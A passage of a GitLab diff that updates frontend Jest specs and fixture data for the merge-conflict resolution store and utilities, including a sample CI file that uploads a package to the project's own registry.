+ old_line: 7,
+ new_line: 7,
+ text: ' stage: upload',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC7" class="line" lang="yaml"\u003e \u003cspan class="na"\u003estage\u003c/span\u003e\u003cspan class="pi"\u003e:\u003c/span\u003e \u003cspan class="s"\u003eupload\u003c/span\u003e\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: '587d266bb27a4dc3022bbed44dfa19849df3044c_8_8',
+ type: null,
+ old_line: 8,
+ new_line: 8,
+ text: ' script:',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC8" class="line" lang="yaml"\u003e \u003cspan class="na"\u003escript\u003c/span\u003e\u003cspan class="pi"\u003e:\u003c/span\u003e\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: '587d266bb27a4dc3022bbed44dfa19849df3044c_9_9',
+ type: null,
+ old_line: 9,
+ new_line: 9,
+ text:
+ // eslint-disable-next-line no-template-curly-in-string
+ ' - \'curl --header "JOB-TOKEN: $CI_JOB_TOKEN" --upload-file README.md ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/generic/my_package/0.0.1/file.txt\'',
+ meta_data: null,
+ rich_text:
+ // eslint-disable-next-line no-template-curly-in-string
+ '\u003cspan id="LC9" class="line" lang="yaml"\u003e \u003cspan class="pi"\u003e-\u003c/span\u003e \u003cspan class="s1"\u003e\'\u003c/span\u003e\u003cspan class="s"\u003ecurl\u003c/span\u003e\u003cspan class="nv"\u003e \u003c/span\u003e\u003cspan class="s"\u003e--header\u003c/span\u003e\u003cspan class="nv"\u003e \u003c/span\u003e\u003cspan class="s"\u003e"JOB-TOKEN:\u003c/span\u003e\u003cspan class="nv"\u003e \u003c/span\u003e\u003cspan class="s"\u003e$CI_JOB_TOKEN"\u003c/span\u003e\u003cspan class="nv"\u003e \u003c/span\u003e\u003cspan class="s"\u003e--upload-file\u003c/span\u003e\u003cspan class="nv"\u003e \u003c/span\u003e\u003cspan class="s"\u003eREADME.md\u003c/span\u003e\u003cspan class="nv"\u003e \u003c/span\u003e\u003cspan class="s"\u003e${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/generic/my_package/0.0.1/file.txt\'\u003c/span\u003e\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ ],
+ },
+ {
+ conflict: true,
+ lines: [
+ {
+ line_code: '587d266bb27a4dc3022bbed44dfa19849df3044c_10_10',
+ type: 'new',
+ old_line: null,
+ new_line: 10,
+ text: '# some new comments',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC10" class="line" lang="yaml"\u003e\u003cspan class="c1"\u003e# some new comments\u003c/span\u003e\u003c/span\u003e',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: '587d266bb27a4dc3022bbed44dfa19849df3044c_10_11',
+ type: 'old',
+ old_line: 10,
+ new_line: null,
+ text: '# a different comment',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC10" class="line" lang="yaml"\u003e\u003cspan class="c1"\u003e# a different comment\u003c/span\u003e\u003c/span\u003e',
+ can_receive_suggestion: false,
+ },
+ ],
+ id: '587d266bb27a4dc3022bbed44dfa19849df3044c_10_10',
+ },
+ ],
+ type: 'text',
+ content_path:
+ '/gitlab-org/gitlab-test/-/merge_requests/2/conflict_for_path?new_path=.gitlab-ci.yml\u0026old_path=.gitlab-ci.yml',
+ },
+ {
+ old_path: 'README.md',
+ new_path: 'README.md',
+ blob_icon: 'doc-text',
+ blob_path:
+ '/gitlab-org/gitlab-test/-/blob/6dbf385a3c7bf01e09b5d2d9e5d72f8fb8c590a3/README.md',
+ sections: [
+ {
+ conflict: false,
+ lines: [
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_1_1',
+ type: null,
+ old_line: 1,
+ new_line: 1,
+ text: '- 1',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC1" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 1\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_2_2',
+ type: null,
+ old_line: 2,
+ new_line: 2,
+ text: '- 2',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC2" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 2\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_3_3',
+ type: null,
+ old_line: 3,
+ new_line: 3,
+ text: '- 3',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC3" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 3\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ ],
+ },
+ {
+ conflict: true,
+ lines: [
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_4_4',
+ type: 'new',
+ old_line: null,
+ new_line: 4,
+ text: '- 4c',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC4" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 4c\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_4_5',
+ type: 'old',
+ old_line: 4,
+ new_line: null,
+ text: '- 4b',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC4" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 4b\u003c/span\u003e\n',
+ can_receive_suggestion: false,
+ },
+ ],
+ id: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_4_4',
+ },
+ {
+ conflict: false,
+ lines: [
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_5_5',
+ type: null,
+ old_line: 5,
+ new_line: 5,
+ text: '- 5',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC5" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 5\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_6_6',
+ type: null,
+ old_line: 6,
+ new_line: 6,
+ text: '- 6',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC6" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 6\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_7_7',
+ type: null,
+ old_line: 7,
+ new_line: 7,
+ text: '- 7',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC7" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 7\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ ],
+ },
+ {
+ conflict: false,
+ lines: [
+ {
+ line_code: null,
+ type: 'match',
+ old_line: null,
+ new_line: null,
+ text: '@@ -9,15 +9,15 @@',
+ meta_data: { old_pos: 9, new_pos: 9 },
+ rich_text: '@@ -9,15 +9,15 @@',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_9_9',
+ type: null,
+ old_line: 9,
+ new_line: 9,
+ text: '- 9',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC9" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 9\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_10_10',
+ type: null,
+ old_line: 10,
+ new_line: 10,
+ text: '- 10',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC10" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 10\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_11_11',
+ type: null,
+ old_line: 11,
+ new_line: 11,
+ text: '- 11',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC11" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 11\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ ],
+ },
+ {
+ conflict: true,
+ lines: [
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_12_12',
+ type: 'new',
+ old_line: null,
+ new_line: 12,
+ text: '- 12c',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC12" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 12c\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_12_13',
+ type: 'old',
+ old_line: 12,
+ new_line: null,
+ text: '- 12b',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC12" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 12b\u003c/span\u003e\n',
+ can_receive_suggestion: false,
+ },
+ ],
+ id: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_12_12',
+ },
+ {
+ conflict: false,
+ lines: [
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_13_13',
+ type: null,
+ old_line: 13,
+ new_line: 13,
+ text: '- 13',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC13" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 13\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_14_14',
+ type: null,
+ old_line: 14,
+ new_line: 14,
+ text: '- 14 ',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC14" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 14 \u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: '8ec9a00bfd09b3190ac6b22251dbb1aa95a0579d_15_15',
+ type: null,
+ old_line: 15,
+ new_line: 15,
+ text: '- 15',
+ meta_data: null,
+ rich_text:
+ '\u003cspan id="LC15" class="line" lang="markdown"\u003e\u003cspan class="p"\u003e-\u003c/span\u003e 15\u003c/span\u003e\n',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: null,
+ type: 'match',
+ old_line: null,
+ new_line: null,
+ text: '',
+ meta_data: { old_pos: 15, new_pos: 15 },
+ rich_text: '',
+ can_receive_suggestion: true,
+ },
+ ],
+ },
+ ],
+ type: 'text',
+ content_path:
+ '/gitlab-org/gitlab-test/-/merge_requests/2/conflict_for_path?new_path=README.md\u0026old_path=README.md',
+ },
+ ],
+};
diff --git a/spec/frontend/merge_conflicts/store/actions_spec.js b/spec/frontend/merge_conflicts/store/actions_spec.js
index 352f1783b87..8fa8765a9f9 100644
--- a/spec/frontend/merge_conflicts/store/actions_spec.js
+++ b/spec/frontend/merge_conflicts/store/actions_spec.js
@@ -1,5 +1,6 @@
import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
+import Cookies from 'js-cookie';
import { useMockLocationHelper } from 'helpers/mock_window_location_helper';
import testAction from 'helpers/vuex_action_helper';
import createFlash from '~/flash';
@@ -10,6 +11,7 @@ import { restoreFileLinesState, markLine, decorateFiles } from '~/merge_conflict
jest.mock('~/flash.js');
jest.mock('~/merge_conflicts/utils');
+jest.mock('js-cookie');
describe('merge conflicts actions', () => {
let mock;
@@ -80,6 +82,25 @@ describe('merge conflicts actions', () => {
});
});
+ describe('setConflictsData', () => {
+ it('INTERACTIVE_RESOLVE_MODE updates the correct file ', (done) => {
+ decorateFiles.mockReturnValue([{ bar: 'baz' }]);
+ testAction(
+ actions.setConflictsData,
+ { files, foo: 'bar' },
+ {},
+ [
+ {
+ type: types.SET_CONFLICTS_DATA,
+ payload: { foo: 'bar', files: [{ bar: 'baz' }] },
+ },
+ ],
+ [],
+ done,
+ );
+ });
+ });
+
describe('submitResolvedConflicts', () => {
useMockLocationHelper();
const resolveConflictsPath = 'resolve/conflicts/path/mock';
@@ -120,21 +141,109 @@ describe('merge conflicts actions', () => {
});
});
- describe('setConflictsData', () => {
- it('INTERACTIVE_RESOLVE_MODE updates the correct file ', (done) => {
- decorateFiles.mockReturnValue([{ bar: 'baz' }]);
+ describe('setLoadingState', () => {
+ it('commits the right mutation', () => {
testAction(
- actions.setConflictsData,
- { files, foo: 'bar' },
+ actions.setLoadingState,
+ true,
{},
[
{
- type: types.SET_CONFLICTS_DATA,
- payload: { foo: 'bar', files: [{ bar: 'baz' }] },
+ type: types.SET_LOADING_STATE,
+ payload: true,
+ },
+ ],
+ [],
+ );
+ });
+ });
+
+ describe('setErrorState', () => {
+ it('commits the right mutation', () => {
+ testAction(
+ actions.setErrorState,
+ true,
+ {},
+ [
+ {
+ type: types.SET_ERROR_STATE,
+ payload: true,
+ },
+ ],
+ [],
+ );
+ });
+ });
+
+ describe('setFailedRequest', () => {
+ it('commits the right mutation', () => {
+ testAction(
+ actions.setFailedRequest,
+ 'errors in the request',
+ {},
+ [
+ {
+ type: types.SET_FAILED_REQUEST,
+ payload: 'errors in the request',
+ },
+ ],
+ [],
+ );
+ });
+ });
+
+ describe('setViewType', () => {
+ it('commits the right mutation', (done) => {
+ const payload = 'viewType';
+ testAction(
+ actions.setViewType,
+ payload,
+ {},
+ [
+ {
+ type: types.SET_VIEW_TYPE,
+ payload,
+ },
+ ],
+ [],
+ () => {
+ expect(Cookies.set).toHaveBeenCalledWith('diff_view', payload);
+ done();
+ },
+ );
+ });
+ });
+
+ describe('setSubmitState', () => {
+ it('commits the right mutation', () => {
+ testAction(
+ actions.setSubmitState,
+ true,
+ {},
+ [
+ {
+ type: types.SET_SUBMIT_STATE,
+ payload: true,
+ },
+ ],
+ [],
+ );
+ });
+ });
+
+ describe('updateCommitMessage', () => {
+ it('commits the right mutation', () => {
+ testAction(
+ actions.updateCommitMessage,
+ 'some message',
+ {},
+ [
+ {
+ type: types.UPDATE_CONFLICTS_DATA,
+ payload: { commitMessage: 'some message' },
},
],
[],
- done,
);
});
});
diff --git a/spec/frontend/merge_conflicts/store/getters_spec.js b/spec/frontend/merge_conflicts/store/getters_spec.js
new file mode 100644
index 00000000000..7a26a2bba6a
--- /dev/null
+++ b/spec/frontend/merge_conflicts/store/getters_spec.js
@@ -0,0 +1,187 @@
+import {
+ CONFLICT_TYPES,
+ EDIT_RESOLVE_MODE,
+ INTERACTIVE_RESOLVE_MODE,
+} from '~/merge_conflicts/constants';
+import * as getters from '~/merge_conflicts/store/getters';
+import realState from '~/merge_conflicts/store/state';
+
+describe('Merge Conflicts getters', () => {
+ let state;
+
+ beforeEach(() => {
+ state = realState();
+ });
+
+ describe('getConflictsCount', () => {
+ it('returns zero when there are no files', () => {
+ state.conflictsData.files = [];
+
+ expect(getters.getConflictsCount(state)).toBe(0);
+ });
+
+ it(`counts the number of sections in files of type ${CONFLICT_TYPES.TEXT}`, () => {
+ state.conflictsData.files = [
+ { sections: [{ conflict: true }], type: CONFLICT_TYPES.TEXT },
+ { sections: [{ conflict: true }, { conflict: true }], type: CONFLICT_TYPES.TEXT },
+ ];
+ expect(getters.getConflictsCount(state)).toBe(3);
+ });
+
+ it(`counts the number of file in files not of type ${CONFLICT_TYPES.TEXT}`, () => {
+ state.conflictsData.files = [
+ { sections: [{ conflict: true }], type: '' },
+ { sections: [{ conflict: true }, { conflict: true }], type: '' },
+ ];
+ expect(getters.getConflictsCount(state)).toBe(2);
+ });
+ });
+
+ describe('getConflictsCountText', () => {
+ it('with one conflicts', () => {
+ const getConflictsCount = 1;
+
+ expect(getters.getConflictsCountText(state, { getConflictsCount })).toBe('1 conflict');
+ });
+
+ it('with more than one conflicts', () => {
+ const getConflictsCount = 3;
+
+ expect(getters.getConflictsCountText(state, { getConflictsCount })).toBe('3 conflicts');
+ });
+ });
+
+ describe('isReadyToCommit', () => {
+ it('return false when isSubmitting is true', () => {
+ state.conflictsData.files = [];
+ state.isSubmitting = true;
+ state.conflictsData.commitMessage = 'foo';
+
+ expect(getters.isReadyToCommit(state)).toBe(false);
+ });
+
+ it('returns false when has no commit message', () => {
+ state.conflictsData.files = [];
+ state.isSubmitting = false;
+ state.conflictsData.commitMessage = '';
+
+ expect(getters.isReadyToCommit(state)).toBe(false);
+ });
+
+ it('returns true when all conflicts are resolved and is not submitting and we have a commitMessage', () => {
+ state.conflictsData.files = [
+ {
+ resolveMode: INTERACTIVE_RESOLVE_MODE,
+ type: CONFLICT_TYPES.TEXT,
+ sections: [{ conflict: true }],
+ resolutionData: { foo: 'bar' },
+ },
+ ];
+ state.isSubmitting = false;
+ state.conflictsData.commitMessage = 'foo';
+
+ expect(getters.isReadyToCommit(state)).toBe(true);
+ });
+
+ describe('unresolved', () => {
+ it(`files with resolvedMode set to ${EDIT_RESOLVE_MODE} and empty count as unresolved`, () => {
+ state.conflictsData.files = [
+ { content: '', resolveMode: EDIT_RESOLVE_MODE },
+ { content: 'foo' },
+ ];
+ state.isSubmitting = false;
+ state.conflictsData.commitMessage = 'foo';
+
+ expect(getters.isReadyToCommit(state)).toBe(false);
+ });
+
+ it(`in files with resolvedMode = ${INTERACTIVE_RESOLVE_MODE} we count resolvedConflicts vs unresolved ones`, () => {
+ state.conflictsData.files = [
+ {
+ resolveMode: INTERACTIVE_RESOLVE_MODE,
+ type: CONFLICT_TYPES.TEXT,
+ sections: [{ conflict: true }],
+ resolutionData: {},
+ },
+ ];
+ state.isSubmitting = false;
+ state.conflictsData.commitMessage = 'foo';
+
+ expect(getters.isReadyToCommit(state)).toBe(false);
+ });
+ });
+ });
+
+ describe('getCommitButtonText', () => {
+ it('when is submitting', () => {
+ state.isSubmitting = true;
+ expect(getters.getCommitButtonText(state)).toBe('Committing...');
+ });
+
+ it('when is not submitting', () => {
+ expect(getters.getCommitButtonText(state)).toBe('Commit to source branch');
+ });
+ });
+
+ describe('getCommitData', () => {
+ it('returns commit data', () => {
+ const baseFile = {
+ new_path: 'new_path',
+ old_path: 'new_path',
+ };
+
+ state.conflictsData.commitMessage = 'foo';
+ state.conflictsData.files = [
+ {
+ ...baseFile,
+ resolveMode: INTERACTIVE_RESOLVE_MODE,
+ type: CONFLICT_TYPES.TEXT,
+ sections: [{ conflict: true }],
+ resolutionData: { bar: 'baz' },
+ },
+ {
+ ...baseFile,
+ resolveMode: EDIT_RESOLVE_MODE,
+ type: CONFLICT_TYPES.TEXT,
+ content: 'resolve_mode_content',
+ },
+ {
+ ...baseFile,
+ type: CONFLICT_TYPES.TEXT_EDITOR,
+ content: 'text_editor_content',
+ },
+ ];
+
+ expect(getters.getCommitData(state)).toStrictEqual({
+ commit_message: 'foo',
+ files: [
+ { ...baseFile, sections: { bar: 'baz' } },
+ { ...baseFile, content: 'resolve_mode_content' },
+ { ...baseFile, content: 'text_editor_content' },
+ ],
+ });
+ });
+ });
+
+ describe('fileTextTypePresent', () => {
+ it(`returns true if there is a file with type ${CONFLICT_TYPES.TEXT}`, () => {
+ state.conflictsData.files = [{ type: CONFLICT_TYPES.TEXT }];
+
+ expect(getters.fileTextTypePresent(state)).toBe(true);
+ });
+ it(`returns false if there is no file with type ${CONFLICT_TYPES.TEXT}`, () => {
+ state.conflictsData.files = [{ type: CONFLICT_TYPES.TEXT_EDITOR }];
+
+ expect(getters.fileTextTypePresent(state)).toBe(false);
+ });
+ });
+
+ describe('getFileIndex', () => {
+ it(`returns the index of a file from it's blob path`, () => {
+ const blobPath = 'blobPath/foo';
+ state.conflictsData.files = [{ foo: 'bar' }, { baz: 'foo', blobPath }];
+
+ expect(getters.getFileIndex(state)({ blobPath })).toBe(1);
+ });
+ });
+});
diff --git a/spec/frontend/merge_conflicts/store/mutations_spec.js b/spec/frontend/merge_conflicts/store/mutations_spec.js
new file mode 100644
index 00000000000..1476f0c5369
--- /dev/null
+++ b/spec/frontend/merge_conflicts/store/mutations_spec.js
@@ -0,0 +1,99 @@
+import { VIEW_TYPES } from '~/merge_conflicts/constants';
+import * as types from '~/merge_conflicts/store/mutation_types';
+import mutations from '~/merge_conflicts/store/mutations';
+import realState from '~/merge_conflicts/store/state';
+
+describe('Mutations merge conflicts store', () => {
+ let mockState;
+
+ beforeEach(() => {
+ mockState = realState();
+ });
+
+ describe('SET_LOADING_STATE', () => {
+ it('should set loading', () => {
+ mutations[types.SET_LOADING_STATE](mockState, true);
+
+ expect(mockState.isLoading).toBe(true);
+ });
+ });
+
+ describe('SET_ERROR_STATE', () => {
+ it('should set hasError', () => {
+ mutations[types.SET_ERROR_STATE](mockState, true);
+
+ expect(mockState.hasError).toBe(true);
+ });
+ });
+
+ describe('SET_FAILED_REQUEST', () => {
+ it('should set hasError and errorMessage', () => {
+ const payload = 'message';
+ mutations[types.SET_FAILED_REQUEST](mockState, payload);
+
+ expect(mockState.hasError).toBe(true);
+ expect(mockState.conflictsData.errorMessage).toBe(payload);
+ });
+ });
+
+ describe('SET_VIEW_TYPE', () => {
+ it('should set diffView', () => {
+ mutations[types.SET_VIEW_TYPE](mockState, VIEW_TYPES.INLINE);
+
+ expect(mockState.diffView).toBe(VIEW_TYPES.INLINE);
+ });
+
+ it(`if payload is ${VIEW_TYPES.PARALLEL} sets isParallel`, () => {
+ mutations[types.SET_VIEW_TYPE](mockState, VIEW_TYPES.PARALLEL);
+
+ expect(mockState.isParallel).toBe(true);
+ });
+ });
+
+ describe('SET_SUBMIT_STATE', () => {
+ it('should set isSubmitting', () => {
+ mutations[types.SET_SUBMIT_STATE](mockState, true);
+
+ expect(mockState.isSubmitting).toBe(true);
+ });
+ });
+
+ describe('SET_CONFLICTS_DATA', () => {
+ it('should set conflictsData', () => {
+ mutations[types.SET_CONFLICTS_DATA](mockState, {
+ files: [],
+ commit_message: 'foo',
+ source_branch: 'bar',
+ target_branch: 'baz',
+ commit_sha: '123456789',
+ });
+
+ expect(mockState.conflictsData).toStrictEqual({
+ files: [],
+ commitMessage: 'foo',
+ sourceBranch: 'bar',
+ targetBranch: 'baz',
+ shortCommitSha: '1234567',
+ });
+ });
+ });
+
+ describe('UPDATE_CONFLICTS_DATA', () => {
+ it('should update existing conflicts data', () => {
+ const payload = { foo: 'bar' };
+ mutations[types.UPDATE_CONFLICTS_DATA](mockState, payload);
+
+ expect(mockState.conflictsData).toStrictEqual(payload);
+ });
+ });
+
+ describe('UPDATE_FILE', () => {
+ it('should update a file based on its index', () => {
+ mockState.conflictsData.files = [{ foo: 'bar' }, { baz: 'bar' }];
+
+ mutations[types.UPDATE_FILE](mockState, { file: { new: 'one' }, index: 1 });
+
+ expect(mockState.conflictsData.files).toStrictEqual([{ foo: 'bar' }, { new: 'one' }]);
+ });
+ });
+});
diff --git a/spec/frontend/merge_conflicts/utils_spec.js b/spec/frontend/merge_conflicts/utils_spec.js
new file mode 100644
index 00000000000..5bf7ecf8cfe
--- /dev/null
+++ b/spec/frontend/merge_conflicts/utils_spec.js
@@ -0,0 +1,106 @@
+import * as utils from '~/merge_conflicts/utils';
+
+describe('merge conflicts utils', () => {
+ describe('getFilePath', () => {
+ it('returns new path if they are the same', () => {
+ expect(utils.getFilePath({ new_path: 'a', old_path: 'a' })).toBe('a');
+ });
+
+ it('returns concatenated paths if they are different', () => {
+ expect(utils.getFilePath({ new_path: 'b', old_path: 'a' })).toBe('a → b');
+ });
+ });
+
+ describe('checkLineLengths', () => {
+ it('add empty lines to the left when right has more lines', () => {
+ const result = utils.checkLineLengths({ left: [1], right: [1, 2] });
+
+ expect(result.left).toHaveLength(result.right.length);
+ expect(result.left).toStrictEqual([1, { lineType: 'emptyLine', richText: '' }]);
+ });
+
+ it('add empty lines to the right when left has more lines', () => {
+ const result = utils.checkLineLengths({ left: [1, 2], right: [1] });
+
+ expect(result.right).toHaveLength(result.left.length);
+ expect(result.right).toStrictEqual([1, { lineType: 'emptyLine', richText: '' }]);
+ });
+ });
+
+ describe('getHeadHeaderLine', () => {
+ it('decorates the id', () => {
+ expect(utils.getHeadHeaderLine(1)).toStrictEqual({
+ buttonTitle: 'Use ours',
+ id: 1,
+ isHead: true,
+ isHeader: true,
+ isSelected: false,
+ isUnselected: false,
+ richText: 'HEAD//our changes',
+ section: 'head',
+ type: 'new',
+ });
+ });
+ });
+
+ describe('decorateLineForInlineView', () => {
+ it.each`
+ type | truthyProp
+ ${'new'} | ${'isHead'}
+ ${'old'} | ${'isOrigin'}
+ ${'match'} | ${'hasMatch'}
+ `(
+ 'when the type is $type decorates the line with $truthyProp set as true',
+ ({ type, truthyProp }) => {
+ expect(utils.decorateLineForInlineView({ type, rich_text: 'rich' }, 1, true)).toStrictEqual(
+ {
+ id: 1,
+ hasConflict: true,
+ isHead: false,
+ isOrigin: false,
+ hasMatch: false,
+ richText: 'rich',
+ isSelected: false,
+ isUnselected: false,
+ [truthyProp]: true,
+ },
+ );
+ },
+ );
+ });
+
+ describe('getLineForParallelView', () => {
+ it.todo('should return a proper value');
+ });
+
+ describe('getOriginHeaderLine', () => {
+ it('decorates the id', () => {
+ expect(utils.getOriginHeaderLine(1)).toStrictEqual({
+ buttonTitle: 'Use theirs',
+ id: 1,
+ isHeader: true,
+ isOrigin: true,
+ isSelected: false,
+ isUnselected: false,
+ richText: 'origin//their changes',
+ section: 'origin',
+ type: 'old',
+ });
+ });
+ });
+ describe('setInlineLine', () => {
+ it.todo('should return a proper value');
+ });
+ describe('setParallelLine', () => {
+ it.todo('should return a proper value');
+ });
+ describe('decorateFiles', () => {
+ it.todo('should return a proper value');
+ });
+ describe('restoreFileLinesState', () => {
+ it.todo('should return a proper value');
+ });
+ describe('markLine', () => {
+ it.todo('should return a proper value');
+ });
+});
diff --git a/spec/frontend/merge_request/components/status_box_spec.js b/spec/frontend/merge_request/components/status_box_spec.js
index 9212ae19c2d..de0f3574ab2 100644
--- a/spec/frontend/merge_request/components/status_box_spec.js
+++ b/spec/frontend/merge_request/components/status_box_spec.js
@@ -27,7 +27,7 @@ const testCases = [
name: 'Closed',
state: 'closed',
class: 'status-box-mr-closed',
- icon: 'close',
+ icon: 'issue-close',
},
{
name: 'Merged',
diff --git a/spec/frontend/mini_pipeline_graph_dropdown_spec.js b/spec/frontend/mini_pipeline_graph_dropdown_spec.js
deleted file mode 100644
index ccd5a4ea142..00000000000
--- a/spec/frontend/mini_pipeline_graph_dropdown_spec.js
+++ /dev/null
@@ -1,104 +0,0 @@
-import MockAdapter from 'axios-mock-adapter';
-import $ from 'jquery';
-import waitForPromises from 'helpers/wait_for_promises';
-import axios from '~/lib/utils/axios_utils';
-import MiniPipelineGraph from '~/mini_pipeline_graph_dropdown';
-
-describe('Mini Pipeline Graph Dropdown', () => {
- beforeEach(() => {
- loadFixtures('static/mini_dropdown_graph.html');
- });
-
- describe('When is initialized', () => {
- it('should initialize without errors when no options are given', () => {
- const miniPipelineGraph = new MiniPipelineGraph();
-
- expect(miniPipelineGraph.dropdownListSelector).toEqual('.js-builds-dropdown-container');
- });
-
- it('should set the container as the given prop', () => {
- const container = '.foo';
-
- const miniPipelineGraph = new MiniPipelineGraph({ container });
-
- expect(miniPipelineGraph.container).toEqual(container);
- });
- });
-
- describe('When dropdown is clicked', () => {
- let mock;
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- });
-
- afterEach(() => {
- mock.restore();
- });
-
- it('should call getBuildsList', () => {
- const getBuildsListSpy = jest
- .spyOn(MiniPipelineGraph.prototype, 'getBuildsList')
- .mockImplementation(() => {});
-
- new MiniPipelineGraph({ container: '.js-builds-dropdown-tests' }).bindEvents();
-
- document.querySelector('.js-builds-dropdown-button').click();
-
- expect(getBuildsListSpy).toHaveBeenCalled();
- });
-
- it('should make a request to the endpoint provided in the html', () => {
- const ajaxSpy = jest.spyOn(axios, 'get');
-
- mock.onGet('foobar').reply(200, {
- html: '',
- });
-
- new MiniPipelineGraph({ container: '.js-builds-dropdown-tests' }).bindEvents();
-
- document.querySelector('.js-builds-dropdown-button').click();
-
- expect(ajaxSpy.mock.calls[0][0]).toEqual('foobar');
- });
-
- it('should not close when user uses cmd/ctrl + click', (done) => {
- mock.onGet('foobar').reply(200, {
- html: `<li>
- <a class="mini-pipeline-graph-dropdown-item" href="#">
- <span class="ci-status-icon ci-status-icon-failed"></span>
- <span>build</span>
- </a>
- <a class="ci-action-icon-wrapper js-ci-action-icon" href="#"></a>
- </li>`,
- });
- new MiniPipelineGraph({ container: '.js-builds-dropdown-tests' }).bindEvents();
-
- document.querySelector('.js-builds-dropdown-button').click();
-
- waitForPromises()
- .then(() => {
- document.querySelector('a.mini-pipeline-graph-dropdown-item').click();
- })
- .then(waitForPromises)
- .then(() => {
- expect($('.js-builds-dropdown-list').is(':visible')).toEqual(true);
- })
- .then(done)
- .catch(done.fail);
- });
-
- it('should close the dropdown when request returns an error', (done) => {
- mock.onGet('foobar').networkError();
-
- new MiniPipelineGraph({ container: '.js-builds-dropdown-tests' }).bindEvents();
-
- document.querySelector('.js-builds-dropdown-button').click();
-
- setImmediate(() => {
- expect($('.js-builds-dropdown-tests .dropdown').hasClass('open')).toEqual(false);
- done();
- });
- });
- });
-});
diff --git a/spec/frontend/mocks/ce/diffs/workers/tree_worker.js b/spec/frontend/mocks/ce/diffs/workers/tree_worker.js
deleted file mode 100644
index 5532a22f8e6..00000000000
--- a/spec/frontend/mocks/ce/diffs/workers/tree_worker.js
+++ /dev/null
@@ -1 +0,0 @@
-export { default } from 'helpers/web_worker_mock';
